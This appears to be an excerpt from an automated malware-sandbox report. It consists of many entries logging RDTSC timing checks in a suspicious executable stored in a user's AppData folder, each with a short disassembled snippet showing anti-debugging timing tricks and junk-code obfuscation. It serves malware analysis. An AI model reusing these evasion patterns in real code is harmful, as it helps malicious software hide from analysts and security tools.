Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe RDTSC instruction interceptor: First address: CD1157 second address: CD115E instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe RDTSC instruction interceptor: First address: CD12B4 second address: CD12C6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 popad 0x00000007 jmp 00007FF888DC1E9Bh 0x0000000c rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe RDTSC instruction interceptor: First address: CD12C6 second address: CD12CB instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe RDTSC instruction interceptor: First address: CD1425 second address: CD142B instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe RDTSC instruction interceptor: First address: CD142B second address: CD1435 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push ecx 0x00000009 pop ecx 0x0000000a rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe RDTSC instruction interceptor: First address: CD5D0F second address: CD5D15 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe RDTSC instruction interceptor: First address: CD5D15 second address: CD5D19 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe RDTSC instruction interceptor: First address: CD62D7 second address: CD62E2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jne 00007FF888DC1E96h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe RDTSC instruction interceptor: First address: CD62E2 second address: CD6302 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jbe 00007FF88929ECB6h 0x00000009 jmp 00007FF88929ECC2h 0x0000000e popad 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe RDTSC instruction interceptor: First address: CD6302 second address: CD6308 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe RDTSC instruction interceptor: First address: CD645F second address: CD646B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jc 00007FF88929ECB6h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe RDTSC instruction interceptor: First address: CD646B second address: CD6487 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jns 00007FF888DC1EA7h 0x0000000b rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe RDTSC instruction interceptor: First address: CD6487 second address: CD6490 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edx 0x00000004 pop edx 0x00000005 pushad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe RDTSC instruction interceptor: First address: CD659C second address: CD65D7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 ja 00007FF888DC1E96h 0x0000000a popad 0x0000000b push ecx 0x0000000c push eax 0x0000000d pop eax 0x0000000e push ecx 0x0000000f pop ecx 0x00000010 pop ecx 0x00000011 popad 0x00000012 jbe 00007FF888DC1EC5h 0x00000018 jmp 00007FF888DC1E9Fh 0x0000001d push eax 0x0000001e push edx 0x0000001f push edx 0x00000020 pop edx 0x00000021 jmp 00007FF888DC1EA0h 0x00000026 rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe RDTSC instruction interceptor: First address: CD65D7 second address: CD65DD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe RDTSC instruction interceptor: First address: CD6860 second address: CD6866 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe RDTSC instruction interceptor: First address: C88FDD second address: C88FE2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe RDTSC instruction interceptor: First address: C88FE2 second address: C88FE8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe RDTSC instruction interceptor: First address: C88FE8 second address: C88FFD instructions: 0x00000000 rdtsc 0x00000002 jnl 00007FF88929ECB6h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push ecx 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 popad 0x00000013 push eax 0x00000014 pop eax 0x00000015 rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe RDTSC instruction interceptor: First address: CD6CC8 second address: CD6CE5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jne 00007FF888DC1E96h 0x00000009 jbe 00007FF888DC1E96h 0x0000000f push eax 0x00000010 pop eax 0x00000011 popad 0x00000012 pop edx 0x00000013 pop eax 0x00000014 push edi 0x00000015 jne 00007FF888DC1E9Ch 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe RDTSC instruction interceptor: First address: CD9EB9 second address: CD9EC7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 ja 00007FF88929ECB6h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe RDTSC instruction interceptor: First address: CD9EC7 second address: CD9ED4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe RDTSC instruction interceptor: First address: CD9ED4 second address: CD9ED8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe RDTSC instruction interceptor: First address: CD9ED8 second address: CD9EDC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe RDTSC instruction interceptor: First address: CDE46E second address: CDE47A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe RDTSC instruction interceptor: First address: CDE766 second address: CDE76C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe RDTSC instruction interceptor: First address: CDE76C second address: CDE770 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe RDTSC instruction interceptor: First address: CDE8BB second address: CDE8C4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe RDTSC instruction interceptor: First address: CDE8C4 second address: CDE8CA instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe RDTSC instruction interceptor: First address: CDE8CA second address: CDE8D0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe RDTSC instruction interceptor: First address: CDDF05 second address: CDDF09 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe RDTSC instruction interceptor: First address: CDEC0B second address: CDEC12 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe RDTSC instruction interceptor: First address: CE2686 second address: CE2690 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jg 00007FF88929ECB6h 0x0000000a rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe RDTSC instruction interceptor: First address: CE8475 second address: CE8479 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe RDTSC instruction interceptor: First address: C9F3C4 second address: C9F3C9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe RDTSC instruction interceptor: First address: C9F3C9 second address: C9F3F6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b js 00007FF888DC1E98h 0x00000011 pushad 0x00000012 popad 0x00000013 push eax 0x00000014 push edx 0x00000015 jmp 00007FF888DC1EA8h 0x0000001a rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe RDTSC instruction interceptor: First address: C9F600 second address: C9F60E instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pushad 0x00000004 popad 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edi 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe RDTSC instruction interceptor: First address: C9FB24 second address: C9FB7F instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 ja 00007FF888DC1E98h 0x0000000c push esi 0x0000000d pop esi 0x0000000e popad 0x0000000f add dword ptr [esp], 34E21000h 0x00000016 mov dword ptr [ebp+12460D42h], esi 0x0000001c call 00007FF888DC1E99h 0x00000021 jnc 00007FF888DC1E9Eh 0x00000027 push edx 0x00000028 jng 00007FF888DC1E96h 0x0000002e pop edx 0x0000002f push eax 0x00000030 push ecx 0x00000031 jmp 00007FF888DC1E9Bh 0x00000036 pop ecx 0x00000037 mov eax, dword ptr [esp+04h] 0x0000003b jmp 00007FF888DC1E9Bh 0x00000040 mov eax, dword ptr [eax] 0x00000042 je 00007FF888DC1EA0h 0x00000048 pushad 0x00000049 push eax 0x0000004a push edx 0x0000004b rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe RDTSC instruction interceptor: First address: C9FB7F second address: C9FB8F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 popad 0x00000007 mov dword ptr [esp+04h], eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push edi 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe RDTSC instruction interceptor: First address: C9FB8F second address: C9FB94 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe RDTSC instruction interceptor: First address: C9FB94 second address: C9FB9A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe RDTSC instruction interceptor: First address: C9FB9A second address: C9FB9E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe RDTSC instruction interceptor: First address: C9FB9E second address: C9FBA2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe RDTSC instruction interceptor: First address: C9FD51 second address: C9FD86 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 jmp 00007FF888DC1EA2h 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edi 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007FF888DC1EA9h 0x00000014 rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe RDTSC instruction interceptor: First address: C9FD86 second address: C9FD8A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe RDTSC instruction interceptor: First address: C9FFED second address: C9FFF1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe RDTSC instruction interceptor: First address: C9FFF1 second address: C9FFFA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe RDTSC instruction interceptor: First address: C9FFFA second address: CA0093 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FF888DC1E9Fh 0x00000009 popad 0x0000000a popad 0x0000000b push eax 0x0000000c jno 00007FF888DC1EACh 0x00000012 nop 0x00000013 push 00000000h 0x00000015 push ecx 0x00000016 call 00007FF888DC1E98h 0x0000001b pop ecx 0x0000001c mov dword ptr [esp+04h], ecx 0x00000020 add dword ptr [esp+04h], 0000001Bh 0x00000028 inc ecx 0x00000029 push ecx 0x0000002a ret 0x0000002b pop ecx 0x0000002c ret 0x0000002d mov edi, dword ptr [ebp+122D2D20h] 0x00000033 push 00000004h 0x00000035 push 00000000h 0x00000037 push ecx 0x00000038 call 00007FF888DC1E98h 0x0000003d pop ecx 0x0000003e mov dword ptr [esp+04h], ecx 0x00000042 add dword ptr [esp+04h], 00000018h 0x0000004a inc ecx 0x0000004b push ecx 0x0000004c ret 0x0000004d pop ecx 0x0000004e ret 0x0000004f nop 0x00000050 jmp 00007FF888DC1EA4h 0x00000055 push eax 0x00000056 push eax 0x00000057 push edx 0x00000058 push edx 0x00000059 push eax 0x0000005a push edx 0x0000005b rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe RDTSC instruction interceptor: First address: CA0093 second address: CA0098 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe RDTSC instruction interceptor: First address: CA0739 second address: CA073D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe RDTSC instruction interceptor: First address: CA073D second address: CA07B3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF88929ECBEh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push ecx 0x0000000a pushad 0x0000000b popad 0x0000000c pop ecx 0x0000000d popad 0x0000000e push eax 0x0000000f push esi 0x00000010 push edi 0x00000011 jng 00007FF88929ECB6h 0x00000017 pop edi 0x00000018 pop esi 0x00000019 nop 0x0000001a push 00000000h 0x0000001c push edx 0x0000001d call 00007FF88929ECB8h 0x00000022 pop edx 0x00000023 mov dword ptr [esp+04h], edx 0x00000027 add dword ptr [esp+04h], 0000001Ch 0x0000002f inc edx 0x00000030 push edx 0x00000031 ret 0x00000032 pop edx 0x00000033 ret 0x00000034 sbb dl, 0000006Fh 0x00000037 lea eax, dword ptr [ebp+12484186h] 0x0000003d push 00000000h 0x0000003f push eax 0x00000040 call 00007FF88929ECB8h 0x00000045 pop eax 0x00000046 mov dword ptr [esp+04h], eax 0x0000004a add dword ptr [esp+04h], 00000016h 0x00000052 inc eax 0x00000053 push eax 0x00000054 ret 0x00000055 pop eax 0x00000056 ret 0x00000057 add cl, FFFFFFF0h 0x0000005a nop 0x0000005b push edi 0x0000005c pushad 0x0000005d push eax 0x0000005e push edx 0x0000005f rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe RDTSC instruction interceptor: First address: CA07B3 second address: CA0817 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 popad 0x00000007 pop edi 0x00000008 push eax 0x00000009 jne 00007FF888DC1EAAh 0x0000000f nop 0x00000010 cmc 0x00000011 lea eax, dword ptr [ebp+12484142h] 0x00000017 push 00000000h 0x00000019 push ebp 0x0000001a call 00007FF888DC1E98h 0x0000001f pop ebp 0x00000020 mov dword ptr [esp+04h], ebp 0x00000024 add dword ptr [esp+04h], 00000018h 0x0000002c inc ebp 0x0000002d push ebp 0x0000002e ret 0x0000002f pop ebp 0x00000030 ret 0x00000031 mov edx, dword ptr [ebp+124554F2h] 0x00000037 push eax 0x00000038 push eax 0x00000039 push edx 0x0000003a jmp 00007FF888DC1EA0h 0x0000003f rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe RDTSC instruction interceptor: First address: CA0817 second address: CA0821 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007FF88929ECBCh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe RDTSC instruction interceptor: First address: CA0821 second address: C88FDD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 mov dword ptr [esp], eax 0x00000009 push 00000000h 0x0000000b push ebp 0x0000000c call 00007FF888DC1E98h 0x00000011 pop ebp 0x00000012 mov dword ptr [esp+04h], ebp 0x00000016 add dword ptr [esp+04h], 00000018h 0x0000001e inc ebp 0x0000001f push ebp 0x00000020 ret 0x00000021 pop ebp 0x00000022 ret 0x00000023 sub dword ptr [ebp+122D293Fh], edx 0x00000029 call dword ptr [ebp+122D2461h] 0x0000002f push eax 0x00000030 push edx 0x00000031 pushad 0x00000032 jnl 00007FF888DC1E96h 0x00000038 pushad 0x00000039 popad 0x0000003a push eax 0x0000003b push edx 0x0000003c rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe RDTSC instruction interceptor: First address: CE78C9 second address: CE78D7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FF88929ECBAh 0x00000009 rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe RDTSC instruction interceptor: First address: CE78D7 second address: CE78DB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe RDTSC instruction interceptor: First address: CE78DB second address: CE78E5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe RDTSC instruction interceptor: First address: CE78E5 second address: CE78EB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe RDTSC instruction interceptor: First address: CE78EB second address: CE78F3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push edi 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe RDTSC instruction interceptor: First address: CE7CD5 second address: CE7D02 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF888DC1E9Bh 0x00000007 jmp 00007FF888DC1E9Fh 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007FF888DC1E9Bh 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe RDTSC instruction interceptor: First address: CE7D02 second address: CE7D06 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe RDTSC instruction interceptor: First address: CE7D06 second address: CE7D0C instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe RDTSC instruction interceptor: First address: CE7D0C second address: CE7D2E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 jno 00007FF88929ECB8h 0x0000000f jmp 00007FF88929ECC1h 0x00000014 rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe RDTSC instruction interceptor: First address: CE7D2E second address: CE7D38 instructions: 0x00000000 rdtsc 0x00000002 je 00007FF888DC1E9Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe RDTSC instruction interceptor: First address: CE7EAD second address: CE7EB3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe RDTSC instruction interceptor: First address: CE7EB3 second address: CE7EB7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe RDTSC instruction interceptor: First address: CE7EB7 second address: CE7EC9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a js 00007FF88929ECB6h 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe RDTSC instruction interceptor: First address: CE7EC9 second address: CE7ECD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe RDTSC instruction interceptor: First address: CE8024 second address: CE8042 instructions: 0x00000000 rdtsc 0x00000002 ja 00007FF88929ECB6h 0x00000008 jp 00007FF88929ECB6h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push edx 0x00000011 push esi 0x00000012 pop esi 0x00000013 pop edx 0x00000014 popad 0x00000015 jc 00007FF88929ECC4h 0x0000001b pushad 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe RDTSC instruction interceptor: First address: CEB374 second address: CEB392 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 jmp 00007FF888DC1E9Ah 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jg 00007FF888DC1E9Eh 0x00000011 rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe RDTSC instruction interceptor: First address: CEB392 second address: CEB397 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe RDTSC instruction interceptor: First address: CEADF6 second address: CEADFA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe RDTSC instruction interceptor: First address: CED14D second address: CED160 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 jo 00007FF88929ECBEh 0x0000000f pushad 0x00000010 popad 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe RDTSC instruction interceptor: First address: CED160 second address: CED172 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 ja 00007FF888DC1E96h 0x0000000b ja 00007FF888DC1E96h 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe RDTSC instruction interceptor: First address: CED172 second address: CED177 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe RDTSC instruction interceptor: First address: CED2E5 second address: CED2E9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe RDTSC instruction interceptor: First address: CED2E9 second address: CED2F9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jl 00007FF88929ECB6h 0x00000010 rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe RDTSC instruction interceptor: First address: CED2F9 second address: CED311 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 jmp 00007FF888DC1EA2h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe RDTSC instruction interceptor: First address: CED311 second address: CED316 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe RDTSC instruction interceptor: First address: CED316 second address: CED34B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007FF888DC1E96h 0x0000000a pop edx 0x0000000b pushad 0x0000000c jmp 00007FF888DC1EA1h 0x00000011 jmp 00007FF888DC1EA4h 0x00000016 pushad 0x00000017 popad 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe RDTSC instruction interceptor: First address: CF2368 second address: CF236C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe RDTSC instruction interceptor: First address: CF29DE second address: CF29F1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF888DC1E9Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe RDTSC instruction interceptor: First address: CF29F1 second address: CF2A12 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007FF88929ECB8h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b je 00007FF88929ECBCh 0x00000011 jnp 00007FF88929ECC2h 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
